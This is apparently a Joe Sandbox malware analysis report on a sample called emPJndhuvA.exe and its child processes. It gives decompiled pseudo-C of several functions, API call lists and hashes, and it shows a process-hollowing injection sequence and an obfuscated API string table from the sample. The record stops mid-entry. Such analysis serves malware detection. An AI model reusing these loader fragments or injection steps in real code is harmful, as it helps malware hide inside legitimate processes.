				_t28 = E004076EA(__ebx, __edx, __edi, _t30);
				_t13 =  *0x417cac; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E00403E4D(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x417d90; // 0x417cb8
					 *((intOrPtr*)(_t29 - 0x1c)) = E0040B00F(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0040B0B7();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E004076EA(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00404B8C(_t25, _t26, 0x20);
				}
				return E00404989(_t28);
			}

0x0040b04d
0x0040b04d
0x0040b04d
0x0040b04d
0x0040b04d
0x0040b04f
0x0040b054
0x0040b05e
0x0040b060
0x0040b068
0x0040b08c
0x0040b08e
0x0040b094
0x0040b098
0x0040b09b
0x0040b0a6
0x0040b0a9
0x0040b0b0
0x0040b06a
0x0040b06a
0x0040b06e
0x00000000
0x0040b070
0x0040b075
0x0040b075
0x0040b06e
0x0040b07a
0x0040b07e
0x0040b083
0x0040b08b

APIs

__getptd.LIBCMT ref: 0040B059

Part of subcall function 004076EA: __getptd_noexit.LIBCMT ref: 004076ED
Part of subcall function 004076EA: __amsg_exit.LIBCMT ref: 004076FA

__getptd.LIBCMT ref: 0040B070
__amsg_exit.LIBCMT ref: 0040B07E
__lock.LIBCMT ref: 0040B08E

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 4a767094d75f77f33d52ac82c3da342ffa741fb7e272dd04b2c09d00828e3a1d
Instruction ID: a21c595300c8da2c5913c15b421dd11cac76e05ee73c52ee599f87b1ee99d506
Opcode Fuzzy Hash: 4a767094d75f77f33d52ac82c3da342ffa741fb7e272dd04b2c09d00828e3a1d
Instruction Fuzzy Hash: 03F06271900700CAD620BBB68402B5F76A0EB40728F10853FE9A0772D2DB3C9901CAAE

Uniqueness

Uniqueness Score: -1.00%

Function 004093E3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E004093E3(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E00403429(__ebx, __edx, __edi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E004076EA(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E004076EA(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E00403402(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0040917B(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x004093e3
0x004093e3
0x004093e3
0x004093e3
0x004093e3
0x004093e6
0x004093ec
0x004093fa
0x00409400
0x00409408
0x00409414
0x0040941c
0x00409424
0x00409438
0x0040943a
0x0040943e
0x00409443
0x00409449
0x0040944b
0x0040944d
0x00409450
0x00000000
0x00409457
0x0040944b
0x0040943e
0x00409438
0x00409424
0x00409458

APIs

Part of subcall function 00403429: __getptd.LIBCMT ref: 0040342F
Part of subcall function 00403429: __getptd.LIBCMT ref: 0040343F

__getptd.LIBCMT ref: 004093F2

Part of subcall function 004076EA: __getptd_noexit.LIBCMT ref: 004076ED
Part of subcall function 004076EA: __amsg_exit.LIBCMT ref: 004076FA

__getptd.LIBCMT ref: 00409400

Strings

csm, xrefs: 0040940E

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: c09384ff33eb9c730e4bfbde0913c5a8ff83c14496b7736586edca8755ce39ef
Instruction ID: 1f3471b6d88e65a3aa29d5b5eaaa344c6b347689253923901762da96099f0cdd
Opcode Fuzzy Hash: c09384ff33eb9c730e4bfbde0913c5a8ff83c14496b7736586edca8755ce39ef
Instruction Fuzzy Hash: D20128348052058ACF29AFA5D454AAEB7B5AF10311F54883FE0417A3E3CF399D96CB29

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: emPJndhuvA.exe PID: 4160 Parent PID: 3352 emPJndhuvA.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000001.00000002.309744008.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_emPJndhuvA.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.309744008.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_emPJndhuvA.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.309744008.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_emPJndhuvA.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: tiftjuh PID: 4892 Parent PID: 904 tiftjuhCOMMON

Executed Functions

Function 00460110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00460156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0046016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00460255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00460270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00460283
GetThreadContext.KERNELBASE(00000000,?), ref: 0046029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 004602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00460304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0046032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00460399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 004603E1
ResumeThread.KERNELBASE(00000000), ref: 004603ED
ExitProcess.KERNEL32(00000000), ref: 00460412

Memory Dump Source

Source File: 00000014.00000002.348308079.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_460000_tiftjuh.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 2a06f4e7223cffddd6b0ac205043bdc297540d4fabe67e885c6535822cc68015
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: ACB1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D775AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00460630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 004606E2

Strings

kernel32, xrefs: 004607ED, 004607F3
GetModuleFileNameA, xrefs: 00460EFB, 00460EFE
VirtualAllocEx, xrefs: 00460B44, 00460B4A
CreateFileA, xrefs: 0046088B, 00460891
WinExec, xrefs: 00460820, 00460823
VirtualProtectEx, xrefs: 004614E9, 004614EF
GetMessageExtraInfo, xrefs: 00460794, 0046079A
VirtualAlloc, xrefs: 00460AC1, 00460AC7
NtUnmapViewOfSection, xrefs: 00461085, 0046108B
GetCommandLineA, xrefs: 00460F82, 00460F88
GetMessageA, xrefs: 004612F7, 004612FA
WriteProcessMemory, xrefs: 00460CE9, 00460CEF
SetThreadContext, xrefs: 00460D7A, 00460D80
user32, xrefs: 004606DB, 004606E1
GetFileAttributesA, xrefs: 004613D7, 004613DA
CreateProcessA, xrefs: 004609BB, 004609C1
ExitProcess, xrefs: 00461554, 0046155A
WriteFile, xrefs: 004608CD, 004608D0
ReadProcessMemory, xrefs: 00460C4A, 00460C50
VirtualFree, xrefs: 00460BB2, 00460BB8
GetStartupInfoA, xrefs: 0046145B, 00461461
ResumeThread, xrefs: 00460DEF, 00460DF5
DefWindowProcA, xrefs: 00461374, 0046137A
ntdll.dll, xrefs: 00460FE2, 00460FE8
PostMessageA, xrefs: 004612B0, 004612B6
NtWriteVirtualMemory, xrefs: 0046112C, 00461132
CloseHandle, xrefs: 00460938, 0046093E
CreateWindowExA, xrefs: 0046123E, 00461244
RegisterClassExA, xrefs: 004611B7, 004611BD
GetThreadContext, xrefs: 00460A4C, 00460A52
MessageBoxA, xrefs: 004606EE, 004606F4
WaitForSingleObject, xrefs: 00460E95, 00460E9B

Memory Dump Source

Source File: 00000014.00000002.348308079.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_460000_tiftjuh.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 840a96be87182b7d83052d075de84b44ac6df423c6a68ffa704e40085d38bbd9
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 50A24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00460420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00460533

Strings

d, xrefs: 00460584
saodkfnosa9uin, xrefs: 004604DA
mfoaskdfnoa, xrefs: 00460520, 00460523
0, xrefs: 00460492

Memory Dump Source

Source File: 00000014.00000002.348308079.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_460000_tiftjuh.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: de652b0f019cc1373de7cbcb3aa6172951dc5368ad1613bde01af3071c5a6e4e
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: FC513A70D08388EAEB11CBD8C849BDEBFB26F11708F144059D5453F286D3BA5A59CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 004605EC

Strings

apfHQ, xrefs: 004605E2, 004605E5
o, xrefs: 00460600

Memory Dump Source

Source File: 00000014.00000002.348308079.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_460000_tiftjuh.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: f43b3c92eb9048f8f13f67730acf12ca28a72173625eccacdcc958d25f251b3e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: AE011E70C0424CEADB10DB98C5183AEBFB5AF41308F1480DAC4092B342E77A9B59CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004507A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 004507EE

Memory Dump Source

Source File: 00000014.00000002.348295216.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_450000_tiftjuh.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6cc4aec2e5f3deeea1c809e4bbf904fcc7455c684bf4a4902fa26ababd7608f2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 8EF0C2391007106BD7203AB5988CA6FB6E8BF49726F10012AEA42911C1DA78F8098A68

Uniqueness

Uniqueness Score: -1.00%

Function 00450465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 004504B6

Memory Dump Source

Source File: 00000014.00000002.348295216.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_450000_tiftjuh.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: c419a233b9d25aa70715fd57c5660eb43f9d81fd3d6c730a8f41c925d6f4111d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 50113C79A40208EFDB01DF98CA85E99BBF5AF08351F058095FA489B362D375EA50DF84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: tiftjuh PID: 5816 Parent PID: 4892 tiftjuhCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000015.00000002.360408030.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_tiftjuh.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000015.00000002.360408030.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_tiftjuh.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000015.00000002.360408030.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_tiftjuh.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 2819.exe PID: 3104 Parent PID: 3472 2819.exeCOMMON

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0208003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

